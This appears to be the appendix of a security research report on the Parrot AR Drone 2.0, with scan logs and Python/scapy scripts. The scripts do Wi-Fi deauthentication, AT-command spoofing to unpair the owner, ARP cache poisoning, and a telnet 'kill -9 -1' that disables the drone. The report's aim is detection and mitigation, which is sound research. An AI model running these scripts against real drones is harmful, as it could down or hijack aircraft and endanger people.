Destination port: personalagent[Malformed Packet]
Source port: 37384 Destination port: sgi-eventmond
Source port: 37384 Destination port: 5560
Source port: 37384 Destination port: 5550
Source port: 37384 Destination port: 5552
Source port: 37384 Destination port: 5557
Source port: 37384 Destination port: 5551
Destination unreachable (Port unreachable)
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Destination unreachable (Port unreachable)
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Destination unreachable (Port unreachable)
Source port: 37384 Destination port: 5558
Source port: 37385 Destination port: 5558
Source port: 37385 Destination port: 5551
Source port: 37385 Destination port: 5552
Source port: 37385 Destination port: freeciv
Source port: 37385 Destination port: sgi-esphttp
Destination unreachable (Port unreachable)
Source port: 37386 Destination port: sgi-esphttp
Source port: 37386 Destination port: freeciv
Source port: 37395 Destination port: 5559
Destination unreachable (Port unreachable)
Source port: 37386 Destination port: 5552
Source port: 37386 Destination port: 5551

Figure 35: Network log of UDP nmap scan Interrupting Control Stream
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Figure 36: Parrots MAC Pairing Implementation

Figure 37: ftp Connection to Parrot
Command

Location

Output

tar c testfile | nc –q 10 –l 6000

“Mitigation Machine”

--

(192.168.1.4)
ls

Parrot AR Drone

bin, data, dev, etc, factory,

(192.168.1.1)

firmware, home, lib, licenses,
mnt, proc, root, sbin, sys, tmp,
update, usr, var

nc –w 10 192.168.1.4 6000 > testfile.tar

Parrot AR Drone

--

(192.168.1.1)
ls

Parrot AR Drone

bin, data, dev, etc, factory,

(192.168.1.1)

firmware, home, lib, licenses,
mnt, proc, root, sbin, sys,
testfile.tar, tmp, update, usr, var

Figure 38: netcat Connection to Parrot
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Appendix C: Developed Python Scripts
#!/usr/bin/env python
#M.Peacock
from scapy.all import *
#define initial lists
ap_list = []
ssid_list = []
parrots = []
#define the packet handler, to add access points into the lists if not already
recorded
def packethandler(pkt):
if pkt.haslayer(Dot11) :
if pkt.type == 0 and pkt.subtype == 8:
if pkt.addr2 not in ap_list and pkt.info not in ssid_list:
ap_list.append(pkt.addr2)
ssid_list.append(pkt.info)
#Takes the discovered MAC address and SSID and forms them into a dict
def create_dictionary(ap_list, ssid_list):
ap_dict = dict(zip(ap_list, ssid_list))
return ap_dict
#searches the dict for MAC address matching the parrot
def find_parrot(ap_dict):
for key in ap_dict.keys():
if '90:03:b7:' in str(key) and str(key) not in parrots:
parrots.append(ap_dict[key])
if len(parrots) > 0:
print "Here are the parrots! \n",parrots,
else:
print "No parrots detected"
return parrots
#prints out the dictionary
def print_dictionary(ap_dict):
for k, v in ap_dict.items():
print ("{}: {}".format(k, v))
#calls scapy to sniff the wlan2 interface
sniff(iface = 'wlan2', prn = packethandler, timeout = 2)
#defines the dictionary outside the function
ap_dict = create_dictionary(ap_list, ssid_list)
#prints the dictionary
print_dictionary(ap_dict)
#Defines the parrot list outside the function
parrots = find_parrot(ap_dict)

Figure 39: SSID Scan Script
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#!/usr/bin/env python
#M.Peacock
#port scanner to check if the device found is a parrot AR dronev2
from scapy.all import *
#the ports known to be active on a parrot_ardronev2
known_ports = [21, 23, 5551, 5553, 5555, 5557, 5559]
#Will be closed
hidden_ports = [67, 5552, 5554, 5556]
#tests all ports in defined range
def portscan(target, ports):
knownScanned = []
hiddenScanned = []
for destPort in ports:
ps = (IP(dst=target)/TCP(dport=destPort, flags = "S"))
scan = sr1(ps, timeout = 1, verbose = 0)
if (str(type(scan)) == "<type 'NoneType'>"):
print target + ":" + str(destPort) + " is filtered"
elif(scan.haslayer(TCP)):
if(scan.getlayer(TCP).flags == 0x12):
print target + ":" + str(destPort) + " is open"
knownScanned.append(destPort)
elif (scan.getlayer(TCP).flags == 0x14):
print target + ":" + str(destPort) + " is closed"
hiddenScanned.append(destPort)
else:
print target + ":" + str(destPort) + " unknown"
if knownScanned == known_ports:
print "Parrot Detected!" # make it work off both known and hidden
by making the variable callable outside the def
#Scan
portscan('192.168.1.1', known_ports)
portscan('192.168.1.1', hidden_ports)

Figure 40: Port Scan script

aireplay-ng -0 10 –a 90:03:B7:35:24:24 –c 18:AF:61:0f:51:7D –e ardrone2_215613
mon0

Figure 41: Deauthentication command
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#!/usr/bin/env python
#Defining AT commands and sending them at the parrot using scapy crafted udp
packets
#SRC and DST ports must be the same, as per the SDK
#sequence number must always be either 1, or a higher number than what the
current command number is.
from scapy.all import *
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('-d', help="Disable video", action= "store_true")
parser.add_argument('-e', help="Enable video", action= "store_true")
parser.add_argument('-u', help="Unpair Parrot", action= "store_true")
parser.add_argument('--test', help="test UDP commands", action= "store_true")
parser.add_argument('-t', '--target', help="Set target IP", required="TRUE")
args = parser.parse_args()
def disableVideo():
n = 1
for i in range(1):
videoOff = 'AT*CONFIG ='+str(n)+', "general:video_enable",
"FALSE" '
dvp = IP(dst=args.target)/UDP(sport =5556,
dport=5556)/Raw(load=videoOff)
#enable packet
send(dvp)
n+=1
def enableVideo():
n = 1
for i in range(1):
videoOn = 'AT*CONFIG = '+str(n)+',"general:video_enable", "TRUE"
'
evp= IP(dst=args.target)/UDP(sport =5556,
dport=5556)/Raw(load=videoOn)
send(evp)
n+=1
def unpair():
n = 1
for i in range(1):
unpair = 'AT*CONFIG=' + str(n)
+',"network:owner_mac","00:00:00:00:00:00"'
upp = IP(dst=args.target)/UDP(sport=5556,
dport=5556)/Raw(load=unpair)
send(upp)
n+=1
#Test packet, checked for UDP packets being sent to parrot
def test():
n = 1
for i in range(1):
test = 'AT*CONFIG='+str(n)+',"test","optionsoptions"'
testp = IP(dst=args.target)/UDP(sport=5556,
dport=5556)/Raw(load=test)
send(testp)
n+=1
if args.target:
print "Target: " + args.target
if args.d:
disableVideo()
if args.e:
enableVideo()
if args.u:
unpair()
if args.test:
test()

Figure 42: Testing AT commands
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#!/usr/bin/env python
import socket
import telnetlib
import argparse
parser = argparse.ArgumentParser(description= 'Kill')
parser.add_argument('-t', '--target', help="Target", required="TRUE")
parser.add_argument('-p', '--port', help="Port", required="TRUE")
args = parser.parse_args()
def kill(drone, port):
#Define a telnet session
tn = telnetlib.Telnet(drone)
#Open a telnet session with the drone on the telnet port, kill all processes and exit
tn.open(drone, port=port)
tn.write(b"kill -9 -1\n")
tn.close()
print "Drone Deactivated"
kill(args.target, args.port)

Figure 43: Disabling the Parrot
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#!/usr/bin/env python
import fcntl, socket, struct
import argparse
from scapy.all import *
parser = argparse.ArgumentParser(description= 'MAC address Spoofing and ARP
Cache Poisoning')
parser.add_argument('-s', '--scan', help='arpscan', action="store_true")
parser.add_argument('-a', '--arp', help='arp cache poisoning', action="store_true")
parser.add_argument('-m', '--mac',help='mac address spoofing', action="store_true")
parser.add_argument('-i', '--interface', help='your device interface')
args = parser.parse_args()
def getMac(interface):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
info = fcntl.ioctl(s.fileno(), 0x8927, struct.pack('256s', ifname[:15]))
return ''.join(['%02x:' % ord(char) for char in info[18:24]])[:-1]
def arpScan():
#send an arp request of machines on the network.
a,u = scapy.all.arping("192.168.1.*")
b = []
#Adds each MAC address into a list
for i in range(0,len(a)):
b.append(a[i][1].hwsrc)
#prints out the Macs/IPs found
#a.summary(lambda (a,u): u.sprintf("MAC: %Ether.src% IP: %ARP.psrc%"))
return b
def arpCachePoison(parrot, controller):
parrot=parrot
controller=controllerpython
#Sends an arp poison every 5 seconds.
try:
scapy.all.arpcachepoison(parrot,controller,interval=5)
#keyboard interrupt to exit
except KeyboardInterrupt:
print "Exiting program"
def macSpoof(parrot, controller, mac):
parrot=parrot
controller= controller
#=a[i][1].psrc
mitigationMac= mac
op="who-has"
arp=ARP(op=op, psrc=parrot, pdst=controller,hwdst=mitigationMac)
for i in range(1):
send(arp)
if args.interface:
interface = getMac(args.interface)
if args.scan:
scan=arpScan()
if args.arp:
arpCachePoison(scan[0], scan[1])
if args.mac:
macSpoof(scan[0], scan[1], interface)

Figure 44: MAC spoofing and ARP cache poisoning
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#!/usr/bin/env python
from scapy.all import *
def malformedSend(target):
mp = IP(dst=target)/UDP(sport=5556, dport=5556)
send(mp)
malformedSend('192.168.1.1')

Figure 45: Sending Malformed Packets
#!/usr/bin/env python
import socket
import telnetlib
import argparse
parser = argparse.ArgumentParser(description= 'Test')
parser.add_argument('-b', '--block', help='Block Video and Commands', action="store_true")
parser.add_argument('-ub', '--unblock', help="UnBlock Video and Commands", action="store_true")
parser.add_argument('-t', '--target', help="Target", required="TRUE")
parser.add_argument('-p', '--port', help="Port", required="TRUE")
args = parser.parse_args()
#Defines the mitigation rules to be applied to the parrot, then writes them
using the telnet library
def ipTableRule(drone, port):
blockcom = "iptables -A INPUT -p udp --dport 5556 -j DROP \n"
blockvid = "iptables -A INPUT -p tcp --dport 5555 -j DROP \n"
tn = telnetlib.Telnet(drone)
tn.open(drone, port=port)
tn.write(blockcom)
tn.write(blockvid)
tn.close()
print "Commands Blocked \n Video Blocked"
#Defines removing the mitigation rules from the parrot, using the telnet library
def turnOffRules(drone, port):
revertRule = "iptables --flush \n"
tn = telnetlib.Telnet(drone)
tn.open(drone, port=port)
tn.write(revertRule)
tn.close()
print "Commands reverted"
if args.block:
ipTableRule(args.target, args.port)
if args.unblock:
turnOffRules(args.target, args.port)

Figure 46: iptables port blocking
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